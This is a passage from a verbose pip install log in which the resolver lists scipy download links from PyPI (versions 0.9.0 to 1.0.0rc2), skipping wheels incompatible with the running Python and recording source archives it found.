    Skipping link https://pypi.python.org/packages/ab/6d/548d3643422fba98fbb513550974389115c9d55d13cd55deb3bcbdf39af7/scipy-0.14.0-cp33-cp33m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=f2b504a8e3d5ee0ae33d7052a994a029 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/ab/e6/071f5edebb243a7388eb4fe65608fdec7c4288bb59b91292cb149be2ebaf/scipy-0.15.1-cp27-cp27m-manylinux1_x86_64.whl#md5=171d36970b7d36b2285941b8bf3a2727 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/ac/55/6cc9fc18f3c2365c3e87e5c13d366366435b7ba0881ef03f223a596cfc9a/scipy-0.15.1-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=d0aaf2da89af160060f1759947457ad6 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/ac/b2/8b8c8e0721b71b69dbab7c5c82b9132afd301f070e80b4fbfb05e0fe44c6/scipy-1.0.0rc1-cp27-cp27m-manylinux1_x86_64.whl#md5=b7c312d242a9932e8abc25347605157d (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Found link https://pypi.python.org/packages/ac/df/d8b62db24aa12c4aa03d2f7a7cb228d1492f33e9cc58d2ca24693403736e/scipy-0.9.0.zip#md5=a37933c9e3c4fdf8d087624cd7dcb47d (from https://pypi.python.org/simple/scipy/), version: 0.9.0
    Skipping link https://pypi.python.org/packages/ae/94/28ca6f9311e2351bb68da41ff8c1bc8f82bb82791f2ecd34efa953e60576/scipy-0.19.0-cp27-cp27m-manylinux1_x86_64.whl#md5=0e49f7fc8d31c1c79f0a4d63b29e8a1f (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/af/30/8165621a7ae248e6c1e2f267b37d3b0d33752cc15d1cc58f12e542f64442/scipy-0.14.1rc1.dev_205726a-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=755003a1d318c5b7e47c3e3b930f955d (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/b0/bf/3196bb46c8fccee9b2c6964d5de1d1ac2414262b8aef8c5bea4514d9587a/scipy-0.18.1-cp35-cp35m-manylinux1_i686.whl#md5=9e371961e6fe186c1628c32922c2b7ee (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/b1/05/20f4145a5a308a25d822728ba4c3151427ce7de803ffab66ea50c2206e55/scipy-0.18.0rc2-cp34-cp34m-manylinux1_i686.whl#md5=92ca9d1e4f119d1a815aaead051b72c3 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/b1/29/cba8a67487b4ff72645a9a08a047cbba766fa2050095973957c08437b09b/scipy-0.14.0-cp27-none-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=f56df58dd416119a23d1c58316da5c26 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/b1/30/000051a06363f2f00e1d760286df7d1f2da2e3a44df13ac719414e596599/scipy-0.13.1-cp33-cp33m-manylinux1_x86_64.whl#md5=767ded284e3d76f2deb19e392e2ea3ee (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/b3/46/3aecb4feaa2ef3c4071a9a853a35a2695f7677ebc7731c3cb3d291c6d188/scipy-0.18.0-cp27-cp27m-manylinux1_x86_64.whl#md5=ccca6aeb87717ca383a15e1d3cd3b3e9 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/b4/be/067918d7b77debe1c13b59894ff45fc03e44d83b283e99ec98f1d5211600/scipy-1.0.0b1-cp34-none-win32.whl#md5=e99fc08ee2595f0367aeba4ad0cda8ad (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Found link https://pypi.python.org/packages/b7/8b/66ea869c3a3b6216ff166a45c331c1c6d4a7b79e3db7c8cda5a9f91f09dc/scipy-0.15.0.zip#md5=09641b11ac17f1c141979c60a3f60895 (from https://pypi.python.org/simple/scipy/), version: 0.15.0
    Found link https://pypi.python.org/packages/b8/9d/b8db3d123536c2ac34a37571d319ebccfdd2816fef61cb7b470be5ad8cea/scipy-1.0.0b1.tar.gz#md5=aa5d612f5f9c97434033d02dc0be155f (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*), version: 1.0.0b1
    Skipping link https://pypi.python.org/packages/b9/69/ba0cfae779b80b35d1e70a5e942cf17e57fa9dac6e0369672422e60e71fc/scipy-0.12.0-cp33-cp33m-manylinux1_x86_64.whl#md5=0abc5dfc65c0e1009a951345522e33fa (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/b9/e3/3d97e84e7c6ba21c937a1d3222c846a4cb8aee3d4dae5166c2b6bb4e88a1/scipy-0.13.0-cp26-cp26mu-manylinux1_x86_64.whl#md5=3c75d204b5372372272f08ad9797813d (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/ba/8a/c3f53e4afd4bc296b86fc90e2bd5c73673442763fcfa0155b1f70ce2b5f9/scipy-0.19.0-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=d568c9f60683c33b81ebc1c39eea198a (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/bc/a8/6d787f6014b0d2779c632c244d8351d89919a8d1412575bd4d975e0443e7/scipy-0.15.0-cp26-cp26mu-manylinux1_x86_64.whl#md5=2671a18cdee0149f27d357c8e0035ac5 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/bd/26/f4def3dc832d5b6dd895bbccab9ffd85299578372255122b90b1466aa829/scipy-1.0.0b1-cp34-cp34m-manylinux1_i686.whl#md5=411484a4ceebf028abafab541be040b4 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/bd/8f/0e0fb2b991290727de18b9623c7c32217d0d5d67f436cfd79fa7a0487db5/scipy-0.18.0-cp35-cp35m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=3886c82aa705b44662964d5d1de179b8 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/bd/fb/79fa65e6a583d0cce42dd2c8ba104db440e6f25ca706588d97e81d4c9d5e/scipy-0.19.0-cp34-cp34m-manylinux1_i686.whl#md5=a90148fec477c1950578b40a1197509f (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/be/31/40391528eb94e7686d1075a28fb80e45962cc0eaa6843d1a5c8677dab3af/scipy-0.19.1-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=5ba945b3404644244ab469883a1723f0 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/be/31/6cd7cbbf882483fe89df9763626a7120a15b52a8c63eac049fc3cbca9911/scipy-0.14.0-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=f5cf7e6eec6f7d41c6e46f32834d675d (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/be/5c/670e88bc3ae6afa23c1f09d52a77bbbc7d2e476e7449ad3b6750040a0ac6/scipy-1.0.0b1-cp35-none-win_amd64.whl#md5=dcc90577f2eebc264ec60a2d5729e30b (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/bf/f2/1dc85bfbbbf96faf2340a807285cf3f742eb0037fe2558b5ea3572fa76b6/scipy-0.19.0-cp36-cp36m-manylinux1_i686.whl#md5=83f0750862c80a659686797d4ec9bca0 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/c0/27/de0e8f452c66eefccb76a029aa8072c6c6f5cc94a52632a6ffed8bcd8f4c/scipy-0.15.0-cp27-cp27mu-manylinux1_x86_64.whl#md5=c92f3760a6735754c6d9bc379cbe4b67 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/c1/69/f8cd2bb643bda807b5555a3c607835569e7203f165178631a7e593392ee3/scipy-0.18.0-cp27-cp27mu-manylinux1_i686.whl#md5=3426dd5731fcdb9f56ee30623def9ac0 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/c3/69/edd2a7216653f3ce817c90175e40b8c79d550a9117b2e4582f61aac2ebac/scipy-1.0.0b1-cp35-cp35m-manylinux1_x86_64.whl#md5=14a09675e158fa438565ac51bed5ebfd (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/c5/26/27b835eaee43982b065ee3fe5fa8ad9c412972bb0becab9fd0ae39932531/scipy-0.14.1rc1.dev_205726a-cp27-none-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=25c79e26aef2696a651c611b113c4965 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/c7/ce/993b23695a83da2ecd58b083e95ccc162257b24f273299d4d88b6eac5507/scipy-0.14.1.zip#md5=4bfc35d3683e0ef397157f84040df5b0 (from https://pypi.python.org/simple/scipy/), version: 0.14.1
    Skipping link https://pypi.python.org/packages/c8/59/e3745842c71d31c3d2be3aead63b946a09da621aef88fc6182cb210294d1/scipy-0.13.3-cp33-cp33m-macosx_10_6_intel.whl#md5=ca634955b1757fe5e22c6a8a035bb328 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/c8/83/ba2b94face9f4b0bcb5329ea870b1213382e32de2a938929702083c09440/scipy-1.0.0rc1-cp27-none-win32.whl#md5=558a227959ff81e272d6892ca6c2138a (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/cb/9d/f6dcd4b43160f4798e52ff75c489a74a6363aa9ee71eaedc6f915238ec0d/scipy-0.16.1-cp27-cp27m-manylinux1_x86_64.whl#md5=eec1c5913a17e1f60988ba5a3c0bbd72 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/cb/da/b758668af3d1436f5810b04bc54b7d86b061130fa55e1e9c21a839096a64/scipy-0.16.1-cp33-cp33m-manylinux1_x86_64.whl#md5=e4c94aeff45c4f8225b1031506af765d (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/cc/89/1251c61ad82d6dbeae16a7eb1093e23ef42be7d83781bedd429804c72b44/scipy-1.0.0b1-cp27-cp27m-manylinux1_i686.whl#md5=e961f8561b79909ddc2a88377c0e67f5 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/ce/43/ada3ac7261cc2625683361fd7e5c0d1637b50076c518519088c3d857d005/scipy-0.18.0-cp35-cp35m-manylinux1_i686.whl#md5=1bdc3664de8456bbc45620afbfc3d2cf (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/ce/7b/e9be5b3893d50f5a305eb5a97b432c8a95f7ca025abf3bc42c8a1ef2f439/scipy-1.0.0b1-cp27-cp27m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=0bf3331afc904170318a0ce7195f0185 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/cf/d8/2fcdc72c0e5e893c35f19e6fe784942abaa119b2374abbcb52420e755d3f/scipy-0.10.1-cp27-cp27mu-manylinux1_x86_64.whl#md5=1c0540c0273ba3eb68a8d51b8b122537 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/d0/7b/415fd5bb215f28b423d32dc98126f700ebe7f1efa53e65377ed6ed55df99/scipy-0.19.0-cp36-cp36m-manylinux1_x86_64.whl#md5=3cbb30615496fbbf9b52c9a643c6fe5e (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/d2/02/66a85584ea9c5b0a21d23e9b1f4d01c9d2e216e5570b07eeb95248271b7b/scipy-1.0.0rc2-cp27-cp27mu-manylinux1_i686.whl#md5=0a5b83e063396638ee0760d59f6c3d62 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/d2/4b/d58ddeb42d3b9374d86afc216f8841fc15503fa3ee9a56aa9f69f7409251/scipy-0.14.1-cp33-cp33m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=423c77aa343f76c30788166400696f68 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/d2/cd/c609a2e5c8ee74f3488692281daa0e6c9424f508ba33b1555ef738840c53/scipy-1.0.0b1-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=320ff626ebe508c0d0c2705d6ced9dcb (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/d4/23/d8d12a7b23ffe7915ed23ac3aa85347edab9fca97e4c8c5d7f18b9cdd5b1/scipy-0.18.0-cp27-cp27m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=e9ddb97336421e110a3f20e1b1f6c057 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/d5/00/5eeed7c67fa5ca80dad12c399bb31450733f0a874a2c8c4d9a8e8ab281c0/scipy-0.13.3.zip#md5=20ff3a867cc5925ef1d654aed2ff7e88 (from https://pypi.python.org/simple/scipy/), version: 0.13.3
    Skipping link https://pypi.python.org/packages/d6/2c/c97267e4f22e48ad110161b5346a7673a38841de76904f343e739a837c93/scipy-0.13.0-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.whl#md5=dcd20dad203d301f0b5ec7aa0bb49aa3 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/da/85/0889544b47bcd30ae1341c0bb6e20720afb890134332cdc34071ab9b6800/scipy-0.14.1-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=1c9eca63055d0e64b9b9d241ec5f9c0f (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/db/2a/ed1610d92381c0cdb87890a319aee06a595617a10baa594bcf209824285a/scipy-1.0.0rc1-cp27-cp27mu-manylinux1_x86_64.whl#md5=613a865a0d7fa5191e4aab9c38652e8c (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/db/c4/6e2a7f46c9486c6185c60ab0718e7a1b42a971a96b063c6b6e247b7a01fa/scipy-0.15.0-cp34-cp34m-manylinux1_x86_64.whl#md5=a0aef54316cdf75e5fc40f2e7b9a938d (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/dc/10/b1913a45cad149ef5950074d8b628935773ff70c36854ba09962243ee88a/scipy-1.0.0rc1-cp36-cp36m-manylinux1_i686.whl#md5=1304e0c539d1384127d2811a66333d35 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/dc/16/9560208cb7b34c67f1f0260bbade755869586bccc88c92011e3c12d3fa47/scipy-0.18.1-cp34-cp34m-manylinux1_i686.whl#md5=9e3fabf0f49497ddb65b814cf9415edc (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/dd/83/7983d1233649f83f3674c1364e5cd43bd6dea9f1bb081d3b0a5bf1761c70/scipy-1.0.0rc2-cp35-none-win_amd64.whl#md5=7775f8a917da5f1e97a77c66089bbda4 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/dd/f0/222bb29fae425bd482cad6d5f284e63a752ddb28039003d0de310a8773f6/scipy-0.14.1-cp27-cp27m-manylinux1_x86_64.whl#md5=81ad6eba89aac213f4fbf5e204a7edc8 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/df/c4/ba1327f80b5663943e0cfa80c640ea3372fd2b65e42cc5159726fe02cf0a/scipy-0.13.0-cp27-cp27m-manylinux1_x86_64.whl#md5=6c3778a88852edca05a164345193120f (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/e0/6b/82f474751b0606436b8e95b69dbd6a6c15b55420c8a1f7aad6408018c8b0/scipy-0.13.2.tar.gz#md5=fcd110802b0bf3505ba567cf831566e1 (from https://pypi.python.org/simple/scipy/), version: 0.13.2
    Skipping link https://pypi.python.org/packages/e1/9a/c0f5e7f0e73de51fd93682f4a43a79383b2ff3585d7b25170da5d9034ea1/scipy-0.16.0-cp27-cp27mu-manylinux1_x86_64.whl#md5=53725579d80f7118cfb79dab0a2edd90 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/e2/51/5ce532e6edc6770472e72edf9299d8bca7f31576bc45b33e93e250573ab2/scipy-0.14.0-cp26-cp26mu-manylinux1_x86_64.whl#md5=699f733b2850b3793cf4517cceba368a (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/e2/85/d55d81e35c6adab4ab918c4563e6be7b37b5f55e521f7df84181089d87ce/scipy-1.0.0rc2.tar.gz#md5=9e1036143c4f8ded108c791bfa529f3d (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*), version: 1.0.0rc2
    Skipping link https://pypi.python.org/packages/e2/a9/21f537f6561ae56e063f1b704620ff2e1c88fc55f82d9265f9c5e73f7eb9/scipy-0.16.0-cp33-cp33m-manylinux1_x86_64.whl#md5=94b63402dfe4685ccc71436c3e7ab083 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/e2/d8/cafe07f71d6acd838a53aa874242190f6b690ccde4b0bcb94df717e347fc/scipy-0.14.1-cp26-cp26mu-manylinux1_x86_64.whl#md5=18790f7d021dbf05bea0e3eccf144f5d (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/e4/81/df8b2598e99fe1651d70a80760732c95472d8cc3204d0750b8cb47e54525/scipy-0.9.0-cp27-cp27m-manylinux1_x86_64.whl#md5=77d0ff60d18961256f6a754e27cd435a (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/e5/93/9a8290e7eb5d4f7cb53b9a7ad7b92b9827ecceaddfd04c2a83f195d8767d/scipy-0.19.0.zip#md5=91b8396231eec780222a57703d3ec550 (from https://pypi.python.org/simple/scipy/), version: 0.19.0
    Skipping link https://pypi.python.org/packages/e5/a5/504bb317d437fad1b5343c6e0068516f2a7adc20cd4977202f1f84a2e7cf/scipy-0.17.0-cp27-cp27m-manylinux1_x86_64.whl#md5=c0c2f7d5dc4c509eb21c0ad04689a46d (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/e5/f5/bbfa7b7c8d9d0bfb8bd45fa7a7f8a62be9f5af74bf9f3fec402bcfa99501/scipy-0.15.1-cp33-cp33m-manylinux1_x86_64.whl#md5=66367d0bb7f5773a5e42e5b83666b8ac (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/e7/3a/30f964ccbc015cdb6650b45f7c63f045b171385ef232b3b2ed6de4d4dc92/scipy-1.0.0rc2-cp34-none-win32.whl#md5=9bb443307be81690916d9b5c52b88940 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/e7/c7/9eecef11ac159979d043800face03757ca64e9e1c8985bf6d1db5d424cc6/scipy-0.13.3-cp26-cp26mu-manylinux1_x86_64.whl#md5=644f9b77a711d32739aaefd0d2d04b28 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/eb/2e/76aff3b25dd06cab06622f82a4790ff5002ab686e940847bb2503b4b2122/scipy-0.17.1-cp34-cp34m-manylinux1_x86_64.whl#md5=bb39b9e1d16fa220967ad7edd39a8b28 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/eb/7e/27b3b9e26cb64e081799546a756059baf285eb886a771e9d26743876ccbb/scipy-0.19.0-cp27-cp27mu-manylinux1_x86_64.whl#md5=adfa1f5127a789165dfe9ff140ec0d6e (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/eb/8b/cb7e8eb19e1ee365afcf885ddaccee87e0ec0946ba06b9a3a479dbfaff3c/scipy-0.16.1.zip#md5=f473f9cd366daf4106003accff32c25f (from https://pypi.python.org/simple/scipy/), version: 0.16.1
    Found link https://pypi.python.org/packages/ed/23/cc831da308cf4f7e319c73e32197a1204daed6ce8c76c741fcaf1903c489/scipy-1.0.0rc2-cp36-none-win_amd64.whl#md5=9184ee5f1dd5745e42901b0a9de40373 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*), version: 1.0.0rc2
    Skipping link https://pypi.python.org/packages/ed/9b/5785bfc3568bf55a640a18f2471ee9694309165d8b21f1c3fbd8e6883b29/scipy-0.18.0rc2-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=c2d94301683b11ba94d5f01901901511 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/f0/5c/bc1e0c17b1fbf6e21827e9da97f2f584d8dc51993717479adff778ba718a/scipy-1.0.0rc2-cp27-none-win_amd64.whl#md5=6564469d47599864a24d4987a731ae29 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/f0/94/d6b970a584752c79184faaf968b8b0ff35bb50b115daa897d38b0c1560d9/scipy-1.0.0rc2-cp35-cp35m-manylinux1_x86_64.whl#md5=971f9584a46c4b6c34cc10de51a1859f (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Found link https://pypi.python.org/packages/f2/77/0ff9b0f46acb634a781a0e1c389a0258eb1afb7444b36b7a6d09f004f995/scipy-0.12.1.zip#md5=3f23065fc45152c92c3588dad2f20c62 (from https://pypi.python.org/simple/scipy/), version: 0.12.1
    Skipping link https://pypi.python.org/packages/f3/30/667414eb8c985dc7073d79aa24ff808118eb4c67e676c9cac7bb82309741/scipy-1.0.0b1-cp34-cp34m-manylinux1_x86_64.whl#md5=e72633b3e578fa58cde35a7ede944dbe (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/f4/9c/3166dc1181bbb3bbc12ba8a9cea24d2f646f7a0bbe102ac1a5de2675d1ea/scipy-0.13.2-cp34-cp34m-manylinux1_x86_64.whl#md5=b90f0ad41df64b0b4e284c04f8766c07 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/f5/a8/87c83acd5899c8017a220092a09fc54f89150130683ba1d2e14aafe898f4/scipy-0.18.1-cp35-cp35m-manylinux1_x86_64.whl#md5=e3855590d4627e70b683689f8b6b0c4e (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/f8/85/37e205d2c48a9691078bd3cd6b22237e399dc1ba049d31ba8e57da44b5be/scipy-0.18.1.zip#md5=99127abce294eaf76eafb80ef431bb9b (from https://pypi.python.org/simple/scipy/), version: 0.18.1
    Skipping link https://pypi.python.org/packages/f9/27/6b42b47677b435c3b60bf7b6a39da93aff70c93803b402a03648c5a1fcd3/scipy-0.14.0-cp33-cp33m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.whl#md5=0ff3c20cb8e9c5c38e5a18cda3178ca7 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/f9/52/8900b9b9d1e29ecc8eb8c626bb13b5947a1709252c9530f4716aa6f78639/scipy-1.0.0rc1-cp34-none-win32.whl#md5=6be6b133e61f4989db6553daecb5f5e0 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/f9/b8/ea28f1b6277b5e3b5925d1675e0ab2121f5fb2f557784e4f11590c8d2937/scipy-1.0.0rc1-cp27-cp27m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=f2511afede0db6d715c412a90a0d7fbc (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/f9/f8/fce4a6bac663bd7ecb9106e9e7ef6492a47f9140d489d7d04091507308b4/scipy-0.16.1-cp26-cp26mu-manylinux1_x86_64.whl#md5=0735aae26686ae02f7e0da11f6188d1b (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/fb/06/571aa713e585b3529dad8838ce2c67178e68c37c5c838772282c83faea68/scipy-0.10.1.tar.gz#md5=6ad976549e22e04ca93e70cf55b70a22 (from https://pypi.python.org/simple/scipy/), version: 0.10.1
    Skipping link https://pypi.python.org/packages/fc/1b/984a997a6e1af1d55a05bafb9b0fcbf008a9114ff0549476c1fd25db44d6/scipy-0.17.0-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=c6c64c6511ba0de09ca973aaf881b354 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/fc/4e/9d106d322165d4b5c75b859d79c984ab93c12525863245265d9cfee042d7/scipy-0.15.1-cp27-none-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=a8cf565477600cbedcd5462f2baeeb0e (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/fc/72/9403ced8a4700b031cc32a12f5711bbb5f7491fb01a2e48030a0dc1acddc/scipy-0.18.0-cp27-cp27mu-manylinux1_x86_64.whl#md5=96f1e6ac2ed3a845802050840929681a (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
